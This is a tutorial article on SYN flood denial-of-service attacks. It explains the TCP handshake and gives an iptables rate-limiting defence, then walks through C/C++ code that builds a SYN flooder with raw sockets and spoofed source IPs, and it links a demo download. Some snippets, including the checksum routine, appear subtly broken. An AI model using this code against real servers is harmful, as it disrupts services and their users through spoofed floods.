SYN Flooding
One of the most popular network attacks. DOS (Denial of Service) and DDOS (Distributed Denial of Service) attacks are very often based on massive SYN Flooding. SYN flooding works by exploiting the weakness of TCP - its three-way handshake.
The Handshake Process
The three-way handshake is a method that TCP uses to synchronize sequence numbers - an essential pair of numbers necessary for its proper functioning. There are three steps to synchronizing sequence numbers (hence the name three-way handshake). First the host initiating the connection sends a packet with the TCP flag SYN (for synchronize) set. This is called a SYN packet. Then the server replies with a SYN/ACK packet, and finally the host replies with an ACK packet.
Because there is a delay between the packets (due to network latency), the server after sending it's SYN/ACK packet, waits for the ACK packet. While it's waiting it needs to have the state of the connection in memory. After a given period of time, the connection times out, and the memory is freed. The attacker's goal in a SYN flood attack scenario is to create lots of "half open connections" as shown in the diagram below thus exhausting the servers memory or at least filling the server's incoming connection queue. See a network traffic dump of the three-way handshake created with ethereal.
Defending your hosts/networks
There are measures that can help protect against SYN flooding attacks that include firewall configuration and host configuration. The basic thing that can be done on the firewall level is checking the amount of new connections created in a specific time interval. If you know the average amount of connections made to your web server under normal conditions, you can create a rule on your firewall to allow only such an amount of connections.
The netfilter package (part of the Linux kernel) can be used to do this. Explaining how to create complex firewall rules using iptables is beyond the scope of this paper, I will however give an example of the configuration I am using, please refer to http://www.netfilter.org/ for tutorials on firewall configuration.
Netfilter has a limit module that can be used to limit the number of connections (actually it can be used on any rule - it simply allows a certain rule to be matched a certain number of times per time period). The limit module uses two variables that are important to us. From the iptables man pages:
limit This module matches at a limited rate using a token bucket filter. A rule using this extension will match until this limit is reached (unless the '!' flag is used). It can be used in combination with the LOG target to give limited logging, for example. --limit rate Maximum average matching rate: specified as a number, with an optional '/second', '/minute', '/hour', or '/day' suffix; the default is 3/hour. --limit-burst number Maximum initial number of packets to match: this number gets recharged by one every time the limit specified above is not reached, up to this number; the default is 5.
Our firewall will begin dropping new connections to the server after the amount of SYN packets reaches limit * limit-burst, but will allow them again only after the their rate drops below limit. All connections that have been already established will be handled normally. Refer to this example for better understanding:
Example iptables config: -A input_filter -m state --state RELATED,ESTABLISHED -j ACCEPT -A input_filter -m limit --limit 50 --limit-burst 5 -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT -A input_filter -j DROP
In order to prevent spoofing attacks from originating from ones network, all network administrators should block outgoing packets with source addresses other than valid ones (belonging on the administrator's network) at their network borders. Another common thing that should be done is filtering incoming packets with source addresses belonging on the inside network (to prevent a whole class of spoofing attacks).
Proof of Concept (IPv4) - A programmers perspective
In order to launch a successful SYN flood attack, one must craft malicious SYN packets. We will need to create a raw socket and sent SYN packets with a spoofed IP source addresses to the server we are attacking. This means creating the IP and TCP headers by hand, instead of the usual instance where the kernel handels such things for you.
Lets begin with creating a raw socket. To do this your program must be running with effective user id == 0 (root). We can easily check this:
#include <unistd.h> int euid = geteuid(); if (euid) { printf("euid 0 is required (currently %d)\n", euid); return 0; }
Once we've got that out of the way we can procede to creating our socket.
int socket(int domain, int type, int protocol); sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (sockfd < 0) { perror("cannot create socket"); return false; }
We set our protocol to IPPROTO_TCP because we will be using TCP/IP with our socket. Next we indicate that we would like IP headers sent with our packets.
int on(1); if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (char*)&on, sizeof(on)) == -1) { perror("cannot setservaddr"); return false; }
It's now time to craft our packets. We will need to calculate checksums for our packets, so we define a structure for holding pseudo headers. Lets also look at the IP and TCP headers. We only need to do this if we are running Windows. When using Linux, just #include <netinet/ip.h> and <netinet/tcp.h>
#ifdef WINDOWS typedef unsigned char __u8; typedef unsigned short int __u16; typedef unsigned int __u32; #pragma packing(byte, 1) struct tcphdr { __u16 source; __u16 dest; __u32 seq; __u32 ack_seq; union { __u16 doff:4, res1:4, cwr:1, ece:1, urg:1, ack:1, psh:1, rst:1, syn:1, fin:1; __u32 flags; }; __u16 window; __u16 check; __u16 urg_ptr; }; struct iphdr { __u8 version:4, ihl:4; __u8 tos; __u16 tot_len; __u16 id; __u16 frag_off; __u8 ttl; __u8 protocol; __u16 check; __u32 saddr; __u32 daddr; }; #endif // WINDOWS struct pseudohdr { unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; };
Next we will have to fill our headers according to the rules of TCP/IP networking. First we allocate memory for our packet.
int packet_size = (sizeof (struct iphdr) + sizeof (struct tcphdr)) * sizeof (char); char *packet = (char *) malloc (packet_size); struct iphdr *ip; struct tcphdr *tcp; struct pseudohdr *pseudo; ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof (struct iphdr)); pseudo = (struct pseudohdr *) (packet + sizeof (struct iphdr) - sizeof (struct pseudohdr));
And next we fill the allocated memory to look like a legitimate SYN packet. In the code below saddr, daddr, sport, dport are variables holding the source IP address, destination IP address, source port, and destination port respectively.
pseudo->saddr = saddr; pseudo->daddr = daddr; pseudo->protocol = IPPROTO_TCP; pseudo->length = htons (sizeof (struct tcphdr)); tcp->source = htons (sport); tcp->dest = htons (dport); tcp->seq = 0xDEADCODE; tcp->ack_seq = 0; tcp->doff = 5; tcp->syn = 1; tcp->window = htons (0xD0F1);
TCP/IP uses a simple checksum function to check for any errors that might have occurred during transmission. This function's implementation in C looks like this:
unsigned short in_cksum (unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) & oddbyte) = *(u_char *) ptr; sum += oddbyte; } sum = (sum << 16) + (sum & 0xffff); sum += (sum << 16); answer = ~sum; return (answer); }
Now we can calculate the checksum for our TCP/IP headers.
tcp->check = in_cksum ((unsigned short *) pseudo, sizeof (struct tcphdr) + sizeof (struct pseudohdr)); // calculating the checksum ip->version = 4; ip->ihl = 5; ip->tot_len = htons (packet_size); ip->id = rand (); ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->saddr = saddr; ip->daddr = daddr; ip->check = in_cksum ((unsigned short *) ip, sizeof (struct iphdr)); // calculating the checksum
Finally we create and fill a sockaddr_in structure and sent out our packet using the sendto() function.
struct sockaddr_in servaddr; servaddr.sin_family = AF_INET; servaddr.sin_port = htons (dport); servaddr.sin_addr.s_addr = daddr; memset(&servaddr.sin_zero, 0, sizeof (servaddr.sin_zero)); sendto(sockfd, packet, packet_size, 0, (const sockaddr*) &servaddr, sizeof (servaddr)) == -1);
You might want to perform some error checking at this point. Try man sendto for more details on that. That concludes basically everything that you need to write a syn flooder proof of concept. Combine all the above actions in a loop and you have a syn flooder.
Proof of Concept (IPv4) - C++ Code
Check out my demo code to see in pratice how SYN flooding works. The code should work on Linux and Windows. By default Linux is assumed. Please pass a #define WINDOWS to the compiler when using Windows.
- download demo code syn-0.1.tar.bz2
md5sum: 4b0d1f9f4478129610f1c9be6abe6b3d syn-0.1.tar.bz2
References
- [1] RFC 791 - Internet Protocol, September 1981
- [2] RFC 793 - Transmission Control Protocol, September 1981
- [3] Denial-Of-Service attacks http://home.tvd.be/ws36178/security/topsecret/dos.html
- [4] SYN Flood DoS Attack Experiments http://www.niksula.cs.hut.fi/~dforsber/synflood/result.html
- [5] The Netfilter Project http://www.netfilter.org/
- [6] Cisco Pix Firewall http://www.cisco.com/warp/public/cc/pd/fw/sqfw500/
- [7] Snort http://www.snort.org/
- [8] Linux 2.4 Packet Filtering HOWTO http://www.netfilter.org/documentation/HOWTO/packet-filtering-HOWTO.html
"Risky things are not in themselves risky if you understand them and control them. If you do it randomly and you are sloppy about it, it can be very risky."
Last update: Thursday, 19th September, 2024 Copyright © 2001-2024 by Lukasz Tomicki |